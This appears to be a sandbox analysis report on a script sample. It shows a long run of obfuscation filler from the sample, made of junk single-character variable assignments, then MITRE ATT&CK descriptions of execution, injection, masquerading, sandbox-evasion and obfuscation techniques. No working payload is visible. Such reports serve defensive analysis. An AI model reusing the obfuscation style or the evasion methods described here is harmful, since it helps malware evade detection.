367	trfhoc = "r";
368	trfhoc = "S";
369	trfhoc = "b";
370	trfhoc = "a";
371	trfhoc = "y";
372	trfhoc = "M";
373	trfhoc = "v";
374	trfhoc = "I";
375	trfhoc = "P";
376	trfhoc = "D";
377	trfhoc = "g";
378	trfhoc = "C";
379	trfhoc = "N";
380	trfhoc = "Q";
381	ctunl = "c";
382	ctunl = "f";
383	ctunl = "X";
384	ctunl = "Q";
385	ctunl = "k";
386	ctunl = "g";
387	ctunl = "f";
388	ctunl = "l";
389	ctunl = "o";
390	ctunl = "u";
391	ctunl = "n";
392	ctunl = "Y";
393	ctunl = "t";
394	ctunl = "T";
395	ctunl = "R";
396	ctunl = "Q";
397	ctunl = "G";
398	ctunl = "S";
399	ctunl = "C";
400	ctunl = "Z";
401	ctunl = "D";
402	ctunl = "U";
403	ctunl = "P";
404	ctunl = "L";
405	ctunl = "n";
406	ctunl = "I";
407	ctunl = "z";
408	ctunl = "y";
409	ctunl = "i";
410	ctunl = "v";
411	ctunl = "T";
412	ctunl = "L";
413	ctunl = "L";
414	ctunl = "a";
415	ctunl = "p";
416	ctunl = "c";
417	ctunl = "X";
418	ctunl = "W";
419	ctunl = "N";
420	ctunl = "w";
421	ctunl = "U";
422	gksydmy = "Y";
423	gksydmy = "i";
424	gksydmy = "l";
425	gksydmy = "W";
426	gksydmy = "C";
427	gksydmy = "O";
428	gksydmy = "C";
429	gksydmy = "o";
430	gksydmy = "v";
431	gksydmy = "k";
432	gksydmy = "Q";
433	gksydmy = "y";
434	gksydmy = "l";
435	gksydmy = "y";
436	gksydmy = "x";
437	gksydmy = "C";
438	gksydmy = "N";
439	gksydmy = "h";
440	gksydmy = "q";
441	gksydmy = "q";
442	zbwhds = "o";
443	zbwhds = "A";
444	zbwhds = "V";
445	zbwhds = "y";
446	zbwhds = "X";
447	zbwhds = "s";
448	zbwhds = "c";
449	zbwhds = "X";
450	zbwhds = "l";
451	zbwhds = "I";
452	zbwhds = "W";
453	zbwhds = "V";
454	zbwhds = "a";
455	zbwhds = "D";
456	zbwhds = "H";
457	zbwhds = "i";
458	zbwhds = "a";
459	zbwhds = "L";
460	zybkj = "d";
461	zybkj = "E";
462	zybkj = "T";
463	zybkj = "s";
464	zybkj = "j";
465	zybkj = "g";
466	zybkj = "j";
467	zybkj = "a";
468	zybkj = "X";
469	zybkj = "K";
470	zybkj = "H";
471	zybkj = "q";
472	zybkj = "J";
473	zybkj = "q";
474	zybkj = "Z";
475	zybkj = "w";
476	zybkj = "H";
477	zybkj = "r";
478	zybkj = "W";
479	zybkj = "R";
480	zybkj = "g";
481	zybkj = "p";
482	zybkj = "k";
483	zybkj = "x";
484	zybkj = "j";
485	zybkj = "t";
486	zybkj = "e";
487	zybkj = "T";
488	zybkj = "r";
489	zybkj = "D";
490	zybkj = "l";
491	zybkj = "e";
492	zybkj = "o";
493	zybkj = "Y";
494	zybkj = "W";
495	zybkj = "F";
496	zybkj = "u";
497	zybkj = "h";
498	zybkj = "j";
499	zybkj = "u";
500	zybkj = "a";
501	zybkj = "Q";
502	zybkj = "k";
503	tsbwwafg = "v";
504	tsbwwafg = "E";
505	tsbwwafg = "k";
506	tsbwwafg = "v";
507	tsbwwafg = "o";
508	lhnyvjm = "k";
509	lhnyvjm = "G";
510	lhnyvjm = "Q";
511	lhnyvjm = "h";
512	lhnyvjm = "J";
513	lhnyvjm = "I";
514	lhnyvjm = "d";
515	lhnyvjm = "G";
516	lhnyvjm = "o";
517	lhnyvjm = "C";
518	lhnyvjm = "E";
519	lhnyvjm = "T";
520	lhnyvjm = "T";
521	lhnyvjm = "W";
522	lhnyvjm = "z";
523	lhnyvjm = "H";
524	lhnyvjm = "e";
525	lhnyvjm = "M";
526	lhnyvjm = "Z";
527	lhnyvjm = "w";
528	nzhupdi = "I";
529	nzhupdi = "A";
530	nzhupdi = "O";
531	nzhupdi = "D";
532	nzhupdi = "a";
533	nzhupdi = "E";
534	nzhupdi = "o";
535	nzhupdi = "q";
536	nzhupdi = "x";
537	nzhupdi = "G";
538	nzhupdi = "j";
539	nzhupdi = "v";
540	nzhupdi = "h";
541	nzhupdi = "j";
542	nzhupdi = "m";
543	nzhupdi = "l";
544	nzhupdi = "t";
545	nzhupdi = "z";
546	nzhupdi = "S";
547	nzhupdi = "q";
548	nzhupdi = "q";
549	nzhupdi = "j";
550	nzhupdi = "a";
551	nzhupdi = "T";
552	nzhupdi = "b";
553	nzhupdi = "R";
554	nzhupdi = "s";
555	nzhupdi = "L";
556	nzhupdi = "B";
557	nzhupdi = "K";
558	nzhupdi = "D";
559	nzhupdi = "W";
560	nzhupdi = "e";
561	nzhupdi = "k";
562	nzhupdi = "w";
563	nzhupdi = "a";
564	nzhupdi = "E";
565	mrweskos = "N";
566	mrweskos = "Z";
567	mrweskos = "b";
568	mrweskos = "U";
569	mrweskos = "b";
570	mrweskos = "F";
571	mrweskos = "o";
572	mrweskos = "r";
573	mrweskos = "p";
574	mrweskos = "m";
575	mrweskos = "A";
576	mrweskos = "L";
577	mrweskos = "Z";
578	mrweskos = "m";
579	mrweskos = "C";
580	mrweskos = "q";
581	mrweskos = "m";
582	mrweskos = "y";
583	mrweskos = "u";
584	mrweskos = "j";
585	mrweskos = "i";
586	mrweskos = "t";
587	mrweskos = "K";
588	mrweskos = "E";
589	mrweskos = "r";
590	mrweskos = "P";
591	mrweskos = "L";
592	mrweskos = "P";
593	mrweskos = "e";
594	mrweskos = "q";
595	mrweskos = "z";
596	mrweskos = "o";
597	mrweskos = "F";
598	mrweskos = "a";
599	mrweskos = "F";
600	fehmex = "o";
601	fehmex = "D";
602	fehmex = "J";
603	fehmex = "e";
604	fehmex = "Y";
605	fehmex = "A";
606	fehmex = "k";
607	fehmex = "G";
608	fehmex = "r";
609	fehmex = "q";
610	fehmex = "E";
611	fehmex = "N";
612	fehmex = "v";
613	fehmex = "Y";
614	fehmex = "Q";
615	fehmex = "N";
616	fehmex = "X";
617	fehmex = "N";
618	fehmex = "d";
619	fehmex = "x";
620	fehmex = "n";
621	oaeqlfpvl = "s";
622	oaeqlfpvl = "r";
623	oaeqlfpvl = "a";
624	oaeqlfpvl = "L";
625	oaeqlfpvl = "Z";
626	oaeqlfpvl = "G";
627	oaeqlfpvl = "w";
628	oaeqlfpvl = "N";
629	oaeqlfpvl = "7";
630	bokkkm = "B";
631	bokkkm = "G";
632	bokkkm = "O";
633	bokkkm = "l";
634	bokkkm = "T";
635	bokkkm = "O";
636	bokkkm = "n";
637	bokkkm = "Z";
638	bokkkm = "o";
639	bokkkm = "s";
640	bokkkm = "R";
641	bokkkm = "l";
642	bokkkm = "c";
643	bokkkm = "l";
644	bokkkm = "J";
645	bokkkm = "y";
646	bokkkm = "P";
647	bokkkm = "V";
648	bokkkm = "o";
649	bokkkm = "K";
650	bokkkm = "P";
651	bokkkm = "k";
652	bokkkm = "T";
653	bokkkm = "x";
654	bokkkm = "X";
655	bokkkm = "8";
656	xykffq = "g";
657	xykffq = "G";
658	xykffq = "f";
659	xykffq = "x";
660	xykffq = "I";
661	xykffq = "i";
662	xykffq = "x";
663	xykffq = "r";
664	xykffq = "z";
665	xykffq = "M";
666	xykffq = "h";
667	xykffq = "s";
668	xykffq = "A";
669	xykffq = "Q";
670	xykffq = "a";
671	xykffq = "J";
672	xykffq = "t";
673	xykffq = "H";
674	xykffq = "S";
675	xykffq = "N";
676	xykffq = "m";
677	xykffq = "j";
678	xykffq = "R";
679	xykffq = "y";
680	xykffq = "r";
681	xykffq = "D";
682	xykffq = "w";
683	xykffq = "S";
684	xykffq = "X";
685	xykffq = "Z";
686	xykffq = "W";
687	xykffq = "R";
688	xykffq = "Z";
689	xykffq = "C";
690	xykffq = "w";
691	xykffq = "p";
692	xykffq = "s";
693	xykffq = "k";
694	xykffq = "Z";
695	xykffq = "s";
696	xykffq = "G";
697	xykffq = "V";
698	xykffq = "J";
699	xykffq = "0";
700	dzakx = "G";
701	dzakx = "Z";
702	dzakx = "c";
703	dzakx = "m";
704	dzakx = "L";
705	dzakx = "o";
706	dzakx = "w";
707	dzakx = "h";
708	dzakx = "\\";
709	cbcpls = "v";
710	cbcpls = "P";
711	cbcpls = "C";
712	cbcpls = "E";
713	cbcpls = "i";
714	cbcpls = "c";
715	cbcpls = "x";
716	cbcpls = "D";
717	cbcpls = "u";
718	ucfox = "Y";
719	ucfox = "q";
720	ucfox = "D";
721	ucfox = "l";
722	ucfox = "I";
723	ucfox = "t";
724	ucfox = "w";
725	ucfox = "U";
726	ucfox = "w";
727	ucfox = "D";
728	ucfox = "R";
729	ucfox = "d";
730	ucfox = "E";
731	ucfox = "z";
732	ucfox = "E";
733	ucfox = "C";
734	ucfox = "W";
735	ucfox = "s";
736	xegnu = "1";
737	bwgtl = "L";
738	bwgtl = "d";
739	bwgtl = "h";
740	bwgtl = "n";
741	bwgtl = "j";
742	bwgtl = "B";
743	bwgtl = "L";
744	bwgtl = "W";
745	bwgtl = "y";
746	bwgtl = "A";
747	bwgtl = "B";
748	bwgtl = "U";
749	bwgtl = "y";
750	bwgtl = "P";
751	bwgtl = "f";
752	bwgtl = "H";
753	bwgtl = "D";
754	bwgtl = "P";
755	bwgtl = "B";
756	bwgtl = "H";
757	bwgtl = "P";
758	bwgtl = "P";
759	bwgtl = "q";
760	bwgtl = "a";
761	bwgtl = "z";
762	bwgtl = "q";
763	bwgtl = "b";
764	bwgtl = "u";
765	bwgtl = "J";
766	bwgtl = "S";
767	bwgtl = "2";
768	zsgkfxa = "P";
769	zsgkfxa = "n";
770	zsgkfxa = "C";
771	zsgkfxa = "c";
772	zsgkfxa = "X";
773	zsgkfxa = "U";
774	zsgkfxa = "K";
775	zsgkfxa = "j";
776	zsgkfxa = "K";
777	zsgkfxa = "v";
778	zsgkfxa = "K";
779	zsgkfxa = "c";
780	zsgkfxa = "K";
781	zsgkfxa = "G";
782	zsgkfxa = "Q";
783	zsgkfxa = "T";
784	zsgkfxa = "X";
785	zsgkfxa = "K";
786	zsgkfxa = "e";
787	zsgkfxa = "S";
788	zsgkfxa = "y";
789	zsgkfxa = "b";
790	zsgkfxa = "v";
791	zsgkfxa = "W";
792	zsgkfxa = "O";
793	ncdjvxhpl = "C";
794	ncdjvxhpl = "q";
795	ncdjvxhpl = "x";
796	ncdjvxhpl = "S";
797	ncdjvxhpl = "g";
798	ncdjvxhpl = "g";
799	ncdjvxhpl = "N";
800	ncdjvxhpl = "d";
801	ncdjvxhpl = "D";
802	ncdjvxhpl = "P";
803	ncdjvxhpl = "p";
804	ncdjvxhpl = "Q";
805	ncdjvxhpl = "q";
806	ncdjvxhpl = "p";
807	ncdjvxhpl = "W";
808	waclpsk = "T";
809	waclpsk = "n";
810	waclpsk = "v";
811	waclpsk = "A";
812	waclpsk = "L";
813	waclpsk = "o";
814	waclpsk = "v";
815	waclpsk = "U";
816	waclpsk = "l";
817	waclpsk = "f";
818	waclpsk = "E";
819	waclpsk = "w";
820	waclpsk = "s";
821	waclpsk = "6";
822	ttzvjlsgd = "g";
823	ttzvjlsgd = "z";
824	ttzvjlsgd = "m";
825	ttzvjlsgd = "F";
826	ttzvjlsgd = "t";
827	ttzvjlsgd = "f";
828	ttzvjlsgd = "C";
829	ttzvjlsgd = "E";
830	ttzvjlsgd = "r";
831	ttzvjlsgd = "e";
832	ttzvjlsgd = "X";
833	ttzvjlsgd = "o";
834	ttzvjlsgd = "r";
835	ttzvjlsgd = "t";
836	ttzvjlsgd = "L";
837	ttzvjlsgd = "g";
838	ttzvjlsgd = "e";
839	ttzvjlsgd = "V";
840	ttzvjlsgd = "A";
841	ttzvjlsgd = "c";
842	ttzvjlsgd = "M";
843	ttzvjlsgd = "K";
844	ttzvjlsgd = "K";
845	ttzvjlsgd = "o";
846	ttzvjlsgd = "Z";
847	ttzvjlsgd = "w";
848	ttzvjlsgd = "i";
849	ttzvjlsgd = "O";
850	ttzvjlsgd = "N";
851	ttzvjlsgd = "R";
852	wnshiv = "X";
853	wnshiv = "j";
854	wnshiv = "u";
855	wnshiv = "m";
856	wnshiv = "F";
857	wnshiv = "C";
858	wnshiv = "v";
859	wnshiv = "r";
860	wnshiv = "g";
861	wnshiv = "S";
862	wnshiv = "d";
863	wnshiv = "A";
864	wnshiv = "O";
865	wnshiv = "b";
866	wnshiv = "L";
867	wnshiv = "e";
868	wnshiv = "G";
869	wnshiv = "Y";
870	wnshiv = "u";
871	wnshiv = "o";
872	wnshiv = "u";
873	wnshiv = "f";
874	wnshiv = "Y";
875	fgguoqag = "D";
876	fgguoqag = "V";
877	fgguoqag = "q";
878	fgguoqag = "D";
879	fgguoqag = "t";
880	fgguoqag = "R";
881	fgguoqag = "h";
882	fgguoqag = "L";
883	fgguoqag = "Y";
884	fgguoqag = "C";
885	fgguoqag = "O";
886	fgguoqag = "W";
887	fgguoqag = "h";
888	fgguoqag = "W";
889	fgguoqag = "a";
890	fgguoqag = "Q";
891	fgguoqag = "A";
892	fgguoqag = "E";
893	fgguoqag = "U";
894	fgguoqag = "V";
895	fgguoqag = "g";
896	fgguoqag = "g";
897	fgguoqag = "a";
898	fgguoqag = "D";
899	fgguoqag = "E";
900	fgguoqag = "D";
901	fgguoqag = "A";
902	fgguoqag = "v";
903	fgguoqag = "X";
904	fgguoqag = "d";
905	fgguoqag = "T";
906	fvibhyuql = "H";
907	fvibhyuql = "q";
908	fvibhyuql = "R";
909	fvibhyuql = "B";
910	fvibhyuql = "H";
911	fvibhyuql = "L";
912	fvibhyuql = "M";
913	fvibhyuql = "W";
914	fvibhyuql = "y";
915	fvibhyuql = "y";
916	fvibhyuql = "F";
917	fvibhyuql = "O";
918	fvibhyuql = "t";
919	fvibhyuql = "v";
920	fvibhyuql = "w";
921	fvibhyuql = "p";
922	fvibhyuql = "b";
923	fvibhyuql = "M";
924	fvibhyuql = "n";
925	fvibhyuql = "h";
926	fvibhyuql = "j";
927	fvibhyuql = "v";
928	fvibhyuql = "C";
929	fvibhyuql = "b";
930	fvibhyuql = "k";
931	fvibhyuql = "A";
932	fvibhyuql = "z";
933	fvibhyuql = "I";
934	fvibhyuql = "v";
935	akaqv = "b";
936	akaqv = "A";
937	akaqv = "x";
938	akaqv = "W";
939	akaqv = "E";
940	akaqv = "l";
941	akaqv = "e";
942	akaqv = "b";
943	akaqv = "C";
944	akaqv = "m";
945	akaqv = "c";
946	akaqv = "h";
947	akaqv = "t";
948	akaqv = "z";
949	akaqv = "J";
950	akaqv = "c";
951	akaqv = "f";
952	akaqv = "\"";
953	ffeaqoc = "C";
954	ffeaqoc = "N";
955	ffeaqoc = "d";
956	ffeaqoc = "e";
957	ffeaqoc = "V";
958	ffeaqoc = "K";
959	ffeaqoc = "q";
960	ffeaqoc = "Z";
961	ffeaqoc = "D";
962	ffeaqoc = "v";
963	ffeaqoc = "u";
964	ffeaqoc = "B";
965	ffeaqoc = "q";
966	ffeaqoc = "o";
967	ffeaqoc = "t";
968	ffeaqoc = "M";
969	ffeaqoc = "X";
970	ffeaqoc = "H";
971	ffeaqoc = "m";
972	liydb = "I";
973	liydb = "r";
974	liydb = "l";
975	liydb = "x";
976	liydb = "K";
977	liydb = "y";
978	liydb = "N";
979	liydb = "l";
980	liydb = "F";
981	liydb = "r";
982	liydb = "a";
983	liydb = "R";
984	liydb = "H";
985	liydb = "I";
986	liydb = "x";
987	liydb = "b";
988	liydb = "E";
989	liydb = "j";
990	liydb = "U";
991	liydb = "y";
992	liydb = "-";
993	xydmgcsh = "S";
994	xydmgcsh = "U";
995	xydmgcsh = "U";
996	xydmgcsh = "S";
997	xydmgcsh = "W";
998	xydmgcsh = "U";
999	xydmgcsh = "E";
1000	xydmgcsh = "E";
1001	xydmgcsh = "K";
1002	xydmgcsh = "h";
1003	xydmgcsh = "d";
1004	xydmgcsh = "J";
1005	xydmgcsh = "g";
1006	xydmgcsh = "v";
1007	xydmgcsh = "A";
1008	xydmgcsh = "D";
1009	xydmgcsh = "t";
1010	xydmgcsh = "S";
1011	xydmgcsh = "f";
1012	xydmgcsh = "O";
1013	xydmgcsh = "V";
1014	xydmgcsh = "g";
1015	xydmgcsh = "W";
1016	xydmgcsh = "s";
1017	xydmgcsh = "J";
1018	xydmgcsh = "U";
1019	xydmgcsh = "z";
1020	xydmgcsh = "F";
1021	xydmgcsh = "f";
1022	xydmgcsh = "K";
1023	xydmgcsh = "H";
1024	xydmgcsh = "f";
1025	xydmgcsh = "F";
1026	xydmgcsh = "k";
1027	xydmgcsh = "t";
1028	xydmgcsh = "r";
1029	xydmgcsh = "&";
1030	aqydnggm = "v";
1031	aqydnggm = "u";
1032	aqydnggm = "O";
1033	aqydnggm = "e";
1034	aqydnggm = "M";
1035	aqydnggm = "R";
1036	aqydnggm = "t";
1037	obhlisw = "G";
1038	obhlisw = "O";
1039	obhlisw = "N";
1040	obhlisw = "H";
1041	obhlisw = "G";
1042	obhlisw = "y";
1043	obhlisw = "U";
1044	obhlisw = "A";
1045	obhlisw = "x";
1046	obhlisw = "c";
1047	obhlisw = "T";
1048	obhlisw = "w";
1049	obhlisw = "j";
1050	lrykqmu = "Q";
1051	lrykqmu = "R";
1052	lrykqmu = "l";
1053	lrykqmu = "V";
1054	lrykqmu = "P";
1055	lrykqmu = "I";
1056	lrykqmu = "I";
1057	lrykqmu = "B";
1058	lrykqmu = "G";
1059	lrykqmu = "y";
1060	lrykqmu = "P";
1061	lrykqmu = "q";
1062	lrykqmu = "V";
1063	lrykqmu = "B";
1064	lrykqmu = "w";
1065	lrykqmu = "c";
1066	lrykqmu = "y";
1067	lrykqmu = ":";
1068	rffaqkqob = "d";
1069	rffaqkqob = "u";
1070	rffaqkqob = "O";
1071	rffaqkqob = "u";
1072	rffaqkqob = "J";
1073	rffaqkqob = "h";
1074	rffaqkqob = "m";
1075	rffaqkqob = "l";
1076	rffaqkqob = "E";
1077	rffaqkqob = "F";
1078	rffaqkqob = "W";
1079	rffaqkqob = "E";
1080	rffaqkqob = "h";
1081	rffaqkqob = "S";
1082	rffaqkqob = "i";
1083	rffaqkqob = "V";
1084	rffaqkqob = "H";
1085	rffaqkqob = "d";
1086	rffaqkqob = "V";
1087	rffaqkqob = "Q";
1088	rffaqkqob = "X";
1089	rffaqkqob = "k";
1090	rffaqkqob = "h";
1091	rffaqkqob = "k";
1092	rffaqkqob = "f";
1093	rffaqkqob = "Q";
1094	rffaqkqob = "Q";
1095	rffaqkqob = "q";
1096	rffaqkqob = "N";
1097	rffaqkqob = "a";
1098	rffaqkqob = "L";
1099	rffaqkqob = "K";
1100	rffaqkqob = "b";
1101	rffaqkqob = "G";
1102	rffaqkqob = "k";
1103	rffaqkqob = "g";
1104	rffaqkqob = "j";
1105	rffaqkqob = "F";
1106	rffaqkqob = "g";
1107	rffaqkqob = "h";
1108	rffaqkqob = "b";
1109	rffaqkqob = "J";
1110	rffaqkqob = "_";
1111	zpbixvm = "U";
1112	zpbixvm = "D";
1113	zpbixvm = "j";
1114	zpbixvm = "d";
1115	zpbixvm = "S";
1116	zpbixvm = "l";
1117	zpbixvm = "F";
1118	zpbixvm = "Q";
1119	zpbixvm = "s";
1120	zpbixvm = "P";
1121	zpbixvm = "L";
1122	zpbixvm = "m";
1123	zpbixvm = "A";
1124	zpbixvm = "q";
1125	zpbixvm = "q";
1126	zpbixvm = "t";
1127	zpbixvm = "w";
1128	zpbixvm = "R";
1129	zpbixvm = "c";
1130	zpbixvm = "P";
1131	zpbixvm = "X";
1132	zpbixvm = "C";
1133	zpbixvm = "D";
1134	zpbixvm = "q";
1135	zpbixvm = "T";
1136	zpbixvm = "r";
1137	gsgnwgzav = "t";
1138	gsgnwgzav = "J";
1139	gsgnwgzav = "O";
1140	gsgnwgzav = "E";
1141	gsgnwgzav = "q";
1142	gsgnwgzav = "P";
1143	gsgnwgzav = "m";
1144	gsgnwgzav = "n";
1145	gsgnwgzav = "e";
1146	gsgnwgzav = "A";
1147	gsgnwgzav = "z";
1148	gsgnwgzav = "n";
1149	gsgnwgzav = "b";
1150	gsgnwgzav = "k";
1151	gsgnwgzav = "z";
1152	gsgnwgzav = "z";
1153	gsgnwgzav = "E";
1154	gsgnwgzav = "j";
1155	gsgnwgzav = "T";
1156	gsgnwgzav = "I";
1157	vyywbq = "C";
1158	vyywbq = "n";
1159	vyywbq = "f";
1160	irasmkes = "u";
1161	irasmkes = "q";
1162	irasmkes = "B";
1163	irasmkes = "v";
1164	irasmkes = "k";
1165	irasmkes = "p";
1166	irasmkes = "D";
1167	irasmkes = "d";
1168	irasmkes = "n";
1169	irasmkes = "I";
1170	irasmkes = "b";
1171	irasmkes = "l";
1172	irasmkes = "W";
1173	irasmkes = "o";
1174	irasmkes = "b";
1175	irasmkes = "j";
1176	irasmkes = "x";
1177	dmoybfur = "X";
1178	dmoybfur = "g";
1179	dmoybfur = "N";
1180	dmoybfur = "S";
1181	dmoybfur = "W";
1182	dmoybfur = "g";
1183	dmoybfur = "Q";
1184	dmoybfur = "L";
1185	dmoybfur = "W";
1186	dmoybfur = "x";
1187	dmoybfur = "y";
1188	dmoybfur = "u";
1189	dmoybfur = "e";
1190	dmoybfur = "W";
1191	dmoybfur = "A";
1192	dmoybfur = "r";
1193	dmoybfur = "e";
1194	dmoybfur = ".";
1195	vegyyt = "a";
1196	vegyyt = "Z";
1197	vegyyt = "o";
1198	vegyyt = "H";
1199	vegyyt = "n";
1200	vegyyt = "y";
1201	vegyyt = "K";
1202	vegyyt = "g";
1203	vegyyt = "T";
1204	vegyyt = "Q";
1205	vegyyt = "F";
1206	vegyyt = "c";
1207	vegyyt = "z";
1208	vegyyt = "N";
1209	vegyyt = "G";
1210	vegyyt = "q";
1211	vegyyt = "c";
1212	vegyyt = "E";
1213	vegyyt = "E";
1214	vegyyt = "J";
1215	vegyyt = "M";
1216	vegyyt = "G";
1217	vegyyt = "Q";
1218	vegyyt = "R";
1219	vegyyt = "r";
1220	vegyyt = "u";
1221	vegyyt = "x";
1222	vegyyt = "S";
1223	ivtqe = "g";
1224	ivtqe = "J";
1225	ivtqe = "s";
1226	ivtqe = "p";
1227	ivtqe = "R";
1228	ivtqe = "c";
1229	ivtqe = "k";
1230	ivtqe = "o";
1231	ivtqe = "U";
1232	ivtqe = "H";
1233	ivtqe = "H";
1234	ivtqe = "q";
1235	ivtqe = "L";
1236	ivtqe = "s";
1237	ivtqe = "w";
1238	ivtqe = "I";
1239	ivtqe = "s";
1240	ivtqe = "l";
1241	ivtqe = "d";
1242	ivtqe = "J";
1243	ivtqe = "I";
1244	ivtqe = "p";
1245	ivtqe = "P";
1246	ivtqe = "Q";
1247	ivtqe = "l";
1248	ivtqe = "G";
1249	ivtqe = "v";
1250	ivtqe = "F";
1251	ivtqe = "v";
1252	ivtqe = "t";
1253	ivtqe = "e";
1254	ivtqe = "y";
1255	ivtqe = "c";
1256	ivtqe = "U";
1257	ivtqe = "L";
1258	ivtqe = "N";
1259	ivtqe = "z";
1260	ivtqe = "u";
1261	ivtqe = "l";
1262	crirr = "K";
1263	crirr = "i";
1264	crirr = "@";
1265	julued = "s";
1266	julued = "L";
1267	julued = "M";
1268	julued = "I";
1269	julued = "4";
1270	nvdtd = "s";
1271	nvdtd = "A";
1272	nvdtd = "Q";
1273	nvdtd = "F";
1274	nvdtd = "Y";
1275	nvdtd = "n";
1276	nvdtd = "G";
1277	nvdtd = "l";
1278	nvdtd = "j";
1279	nvdtd = "F";
1280	nvdtd = "F";
1281	nvdtd = "b";
1282	nvdtd = "G";
1283	nvdtd = "k";
1284	nvdtd = "i";
1285	nvdtd = "q";
1286	nvdtd = "a";
1287	nvdtd = "H";
1288	nvdtd = "t";
1289	nvdtd = "F";
1290	nvdtd = "g";
1291	nvdtd = "E";
1292	nvdtd = "D";
1293	nvdtd = "A";
1294	nvdtd = "X";
1295	nvdtd = "V";
1296	nvdtd = "T";
1297	nvdtd = "a";
1298	nvdtd = "i";
1299	nvdtd = "P";
1300	nvdtd = "y";
1301	nvdtd = "f";
1302	nvdtd = "P";
1303	nvdtd = "h";
1304	nvdtd = "L";
1305	nvdtd = "B";
1306	nvdtd = "V";
1307	nvdtd = "i";
1308	nvdtd = "K";
1309	vcrqybv = "V";
1310	vcrqybv = "D";
1311	vcrqybv = "b";
1312	bppls ( );	bppls() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
